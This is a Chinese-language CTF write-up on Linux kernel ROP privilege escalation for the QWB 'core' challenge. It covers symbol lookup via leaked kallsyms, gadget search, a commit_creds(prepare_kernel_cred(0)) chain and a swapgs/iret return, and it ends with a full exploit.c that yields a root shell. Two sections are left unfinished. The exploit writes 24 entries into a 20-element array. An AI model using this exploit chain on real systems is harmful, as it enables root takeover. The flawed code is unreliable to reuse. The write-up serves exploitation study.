# Linux kernel exploit: ROP ###### tags: `exploitation` 從中國 qwb 的比賽中的 core 學習 linux kernel ROP 的利用,基本上參考自: [ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/#_1) ## 分析 分析比較好做,我留著之後完成,先弄 exploit 的部分 ## 利用 利用的部分因為第一次玩 kernel 的 ROP ,所以大致上是照著 ctf-wiki 上面的教學完成,內容應該很雷同... 1. 梳理 exploit 思路: 簡單講就是怎麼對一個基本的 stack buffer overflow 進行 rop : * 必須知道 prepare_kernel_cred, commit_creds 兩個 symbol addr * 必須要找到 kernel 的 gadget * 必須 leak canary * 必須 construct rop chain * 必須從 kernel 返回 user 按著思路可以整理出以下步驟: 找 symbol addr -> leak canary -> find gadgets -> rop chain -> overflow -> return to user 2. 找 symbol addr: symbol addr 的部分因為 init 內有一行: ```sh echo 1 > /proc/sys/kernel/kptr_restrict ``` 按理說無法透過 cat /proc/kallsyms 來拿到 symbol addr , **BUT** init 內還有一行: ```sh cat /proc/kallsyms > /tmp/kallsyms ``` 所以 access /tmp/kallsyms 跟 access /proc/kallsyms 是一樣道理,用意的話我只能猜說出題者考驗有沒有分析 init 而已... 因為有開 kaslr ,所以每次啟動 symbol addr 都會不同,當然也就不能寫死在 exploit 內,這邊就簡單的對 kallsyms parse ,透過 symbol name 找 addr ```c /* find symbol address */ FILE *fp = fopen("/tmp/kallsyms", "r"); /* ptr point to the buffer */ char **lineptr = (char**)malloc(sizeof(char*)); *lineptr = NULL; /* buffer length */ size_t n; /* return value */ ssize_t nb; unsigned long long commit_creds, prepare_kernel_cred, tmp; char permission; char *symname; char *tmpstr; /* get one line */ while((nb = getline(lineptr, &n, fp)) > 0) { /* parse one line into three parts */ /* first one will be addr */ tmpstr = strtok(*lineptr, " "); sscanf(tmpstr, "%llx", &tmp); /* second one will be permission */ tmpstr = strtok(NULL, " "); sscanf(tmpstr, "%c", &permission); tmpstr = strtok(NULL, " "); symname = tmpstr; if(!strcmp(symname, "prepare_kernel_cred\n")) { prepare_kernel_cred = tmp; } else if(!strcmp(symname, "commit_creds\n")) { commit_creds = tmp; } } free(*lineptr); free(lineptr); fclose(fp); ``` 3. leak canary: 這部分跟分析關係比較大,等日後分析寫完再補上 4. find gadgets: 以往都是在 user space 上找 gadgets ,這次在 kernel 找,算是滿特別的體驗 * 選用 Ropper 首先注意到 ctf-wiki 提到在找 gadgets 方面, ropper 要優於 ROPgadget ,所以我優先選擇 ropper * extract-vmlinux 我找到的題目裡面有 vmlinux ,但我用了之後發現跟 bzImage 根本是不同 kernel! 鑑於最後啟動的 kernel 是從 bzImage 來,最保險的方法還是從 bzImage 裡面找,這邊使用了 [extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) 的 script 把 vmlinux 從 bzImage 裡面抽出,後面的使用基本上沒差 ```sh ropper --file ./vmlinux --nocolor --search "regex" ``` > ropper 預設會自帶顏色,在搜尋上會造成困擾,因此建議關掉 > 值得注意的是 kernel gadgets 找出來都會是一個固定的 base address + offset ,但 kaslr 的關係,所以那個絕對地址沒啥鳥用,必須剪掉 base address 得到 offset 再去跟 leak 出來的 base address 相加才是真的地址: ``` base = commit_creds - commit_creds_offset real_sym = sym - raw_base + base ``` 其中裡面的 raw_base 可以透過 checksec vmlinux 得知 5. ROP chain kernel 層面的 ROP 跟 user 的 ROP 原理基本相同,但 kernel 主要是透過 commit_creds(prepare_kernel_cred(0)) 來提權而非呼叫 system("/bin/sh") kernel 內部的 calling convention 對我而言跟在 amd64 架構下的 user 沒差 > 省略 ret 等等 instruction 減少空間浪費 ``` +--------+-----+---------------+-------+------------+----------------------+ | pop rdi| 0 | prepare_ker...|pop rcx|commit_creds| mov rdi, rax; jmp rcx| +--------+-----+---------------+-------+------------+----------------------+ ``` 上面等價於: ```c commit_creds(prepare_kernel_cred(0)) ``` 6. 從 kernel 返回 user 層 ``` +------------------+---------+-----------+-------------------+ |swapgs; popfq; ret|iret; ret|spawn_shell|restore rflags.... | +------------------+---------+-----------+-------------------+ ``` 由於 kernel 部分弄好後要返回 user ,必須透過 swapgs; iret 達成,之後用 ret 跳到 spawn_shell() 然後佈置好 restore rflags 的部分 完整的 exploit.c: ```c= #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> size_t user_cs, user_ss, user_rflags, user_sp; /* gadgets */ unsigned long long poprdi = 0xffffffff81000b2f; /* mov last instruction return value to next instruction first argument */ unsigned long long movjmprcx = 0xffffffff811ae978; unsigned long long poprcx = 0xffffffff81021e53; unsigned long long swapgs = 0xffffffff81a012da; unsigned long long iret = 0xffffffff81050ac2; unsigned long long raw_base = 0xffffffff81000000; unsigned long long base = 0; void save_status() { __asm__( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : : "memory" ); } void spawn_shell() { if(!getuid()) system("/bin/sh"); else { puts("get shell failed"); exit(-1); } } int main() { /* find symbol address */ FILE *fp = fopen("/tmp/kallsyms", "r"); /* ptr point to the buffer */ char **lineptr = (char**)malloc(sizeof(char*)); *lineptr = NULL; /* buffer length */ size_t n; /* return value */ ssize_t nb; unsigned long long commit_creds, prepare_kernel_cred, tmp; char permission; char *symname; char *tmpstr; /* get one line */ while((nb = getline(lineptr, &n, fp)) > 0) { /* parse one line into three parts */ /* first one will be addr */ tmpstr = strtok(*lineptr, " "); sscanf(tmpstr, "%llx", &tmp); /* second one will be permission */ tmpstr = strtok(NULL, " "); sscanf(tmpstr, "%c", &permission); tmpstr = strtok(NULL, " "); symname = tmpstr; if(!strcmp(symname, "prepare_kernel_cred\n")) { prepare_kernel_cred = tmp; } else if(!strcmp(symname, "commit_creds\n")) { commit_creds = tmp; } } free(*lineptr); free(lineptr); fclose(fp); printf("prepare_kernel_cred: %llx\n", prepare_kernel_cred); printf("commit_creds: %llx\n", commit_creds); base = commit_creds - 0x9c8e0; printf("kernel base address %llx\n", base); poprcx = poprcx - raw_base + base; printf("pop rcx; ret gadgets: %llx\n", poprcx); poprdi = poprdi - raw_base + base; printf("pop rdi; ret: %llx\n", poprdi); movjmprcx = movjmprcx - raw_base + base; printf("movjmprcx: %llx\n", movjmprcx); swapgs = swapgs - raw_base + base; printf("swapgs; popfq; ret: %llx\n", swapgs); iret = iret - raw_base + base; printf("iret: %llx\n", iret); save_status(); int fd = open("/proc/core", O_RDWR); /* set offset */ ioctl(fd, 0x6677889c, 64); /* leak canary */ char info[64]; ioctl(fd, 0x6677889b, info); uint64_t canary = *(uint64_t*)info; printf("canary: %lx", canary); /* write payload to name array */ unsigned long long payload[20]; for(int i = 0;i < 8;i++) payload[i] = 0xdeaddeadbeefbeef; /* canary */ payload[8] = canary; int k = 9; payload[k++] = 0xdeaddeadbeefbeef; payload[k++] = poprdi; payload[k++] = 0; payload[k++] = prepare_kernel_cred; payload[k++] = poprcx; payload[k++] = commit_creds; payload[k++] = movjmprcx; payload[k++] = swapgs; payload[k++] = 0; payload[k++] = iret; payload[k++] = (unsigned long long)spawn_shell; payload[k++] = user_cs; payload[k++] = user_rflags; payload[k++] = user_sp; payload[k++] = user_ss; write(fd, payload, sizeof(payload[0])*(k)); /* overflow */ ioctl(fd, 0x6677889a, 0xffffffffffff0100); close(fd); } ```